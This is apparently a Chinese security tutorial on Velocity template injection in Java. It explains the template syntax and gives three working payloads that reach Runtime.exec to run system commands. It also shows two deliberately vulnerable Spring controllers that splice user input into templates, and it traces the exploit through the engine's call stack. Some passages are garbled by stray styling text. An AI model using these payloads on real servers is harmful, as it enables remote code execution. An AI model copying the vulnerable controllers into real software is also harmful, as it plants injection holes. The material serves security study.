Java安全之Velocity模版注入

Apache Velocity

Apache Velocity是一个基于Java的模板引擎，它提供了一个模板语言去引用由Java代码定义的对象。它允许web 页面设计者引用JAVA代码预定义的方法

Pom.xml

<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>

语句标识符

# 用来标识Velocity的脚本语句，包括 #set 、 #if 、 #else 、 #end 、 #foreach 、 #end 、 #include 、 #parse 、 #macro 等语句。

$ 用来标识一个变量，比如模板文件中为 Hello $a ，可以获取通过上下文传递的 $a

set 用于声明Velocity脚本变量，变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

单行注释为 ## ，多行注释为成对出现的 #* ............. *#

== && || !

以 if/else 为例：

#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end

单引号不解析引用内容，双引号解析引用内容，与PHP有几分相似

#set ($var="aaaaa")
'$var' ## 结果为：$var
"$var" ## 结果为：aaaaa

通过 . 操作符使用变量的内容，比如获取并调用 getClass()

#set($e="e")
$e.getClass()

如果 $a 已经被定义，但是又需要原样输出 $a ，可以试用 \ 转义作为关键的 $

{} 标识符

"{}"用来明确标识Velocity变量；

比如在页面中，页面中有一个{someone}name。

"!"用来强制把不存在的变量显示为空白。

如当页面中包含msg字符。这是我们不希望的，为了把不存在的变量或变量值为null的对象显示为空白，则只需要在变量名前加一个“!”号即可。

如：$!msg

我们提供了五条基本的模板脚本语句，基本上就能满足所有应用模板的要求。这四条模板语句很简单，可以直接由界面设计人员来添加。在当前很多EasyJWeb的应用实践中，我们看到，所有界面模板中归纳起来只有下面四种简单模板脚本语句即可实现：

1、$!obj 直接返回对象结果。

如：在html标签中显示java对象msg的值。

<p>$!msg

在html标签中显示经过HtmlUtil对象处理过后的msg对象的值

!msg)

2、#if($!obj) #else #end 判断语句

如：在EasyJWeb各种开源应用中，我们经常看到的用于弹出提示信息msg的例子。

　 #if($msg)

<script> alert('$!msg'); </script>

#end

// 命令执行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令执行2
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令执行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

抠了段代码

@RequestMapping("/ssti/velocity1")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="nth347") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "[email protected]");

StringWriter out = new StringWriter();
Velocity.eval（ctx, out, "test", templateString);

return out.toString();
}

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

首先将我们传入的poc拼接进去后，调用 Velocity.init(); ,最终实际调用的是 RuntimeInstance#init

会进行一系列的初始化操作，其中包括加载 /velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties 中的 runtime.log.logsystem.class ,实例化 org.apache.velocity.runtime.resource.ResourceManagerImpl 以及记录一些log

之后实例化 VelocityContext 并将三个键值对 put了进去，调用 Velocity.eval（) 来解析,跟进

发现是通过 RuntimeInstance#eval（231, 243, 237); padding: 0px 3px; border-radius: 4px; overflow-wrap: break-word; text-indent: 0px;">parse 解析

继续跟进 parser.parse(reader, templateName); ,首先在 this.velcharstream.ReInit(reader, 1, 1); 将在StringReader中的poc存储到 Parser.velcharstream 属性的 buffer 中

之后会在process内循环遍历处理vlocity语法之后，大致解析成下面这个样子...

进入 this.render(context, writer, logTag, nodeTree); 来解析渲染，主要是从AST树中和Context中，在 ASTSetDirective#render 将poc put进了context。这里涉及到几个类 ASTRference ASTMethod ,其中涉及到了ast的处理，感兴趣的师傅可以自己跟下看看

ASTMethod#execute 中反射调用runtime

调用栈如下：

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
eval（org.apache.velocity.runtime)
eval（org.apache.velocity.runtime)
eval（org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot)

扣来的代码，这个可能实际环境遇到盖里高点，主要是可控 vm 模版文件内的内容，在调用 template.merge(ctx, out); 会解析模版并触发模版注入

@RequestMapping("/ssti/velocity2")
@ResponseBody
public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
templateString = templateString.replace("<USERNAME>", username);

StringReader reader = new StringReader(templateString);

VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "[email protected]");

StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();

RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();

template.merge(ctx, out);

return out.toString();

}

Template.vm

Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project

首先vm模版中字符串可被我们插入或替换即可造成模版注入，中间调用 runtimeServices.parse 将模版内容解析，交给 template.merge(ctx, out); 渲染。在 template.merge 调用 SimpleNode#render ，后续调用和上面的就一致了。

主要是注意 vm 模版内容可不可控，并在修改后能被 Velocity.eval（) Template.merge(ctx, out); 渲染，即可造成模版注入。

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